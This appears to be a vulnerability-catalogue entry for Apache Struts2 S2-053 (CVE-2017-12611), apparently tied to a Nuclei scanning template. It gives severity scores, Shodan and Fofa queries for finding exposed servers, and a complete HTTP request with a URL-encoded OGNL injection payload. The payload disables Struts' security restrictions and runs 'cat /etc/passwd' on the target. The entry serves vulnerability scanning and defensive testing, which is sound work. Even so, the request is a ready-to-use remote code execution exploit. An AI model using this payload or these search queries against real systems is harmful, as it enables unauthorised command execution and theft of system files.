| Title | Apache Struts2 S2-053 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Remote code execution |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94228 |
| CVE ID | CVE-2017-12611 |
| CWE ID | CWE-20 |
| Shodan Query | http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report" |
| Fofa Query | body="struts problem report"title="struts2 showcase"body="apache struts" |
| Tags | cve cve2017 apache rce struts vkev vuln |
Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
POST /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12611.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-12611.pcap
N/AN/A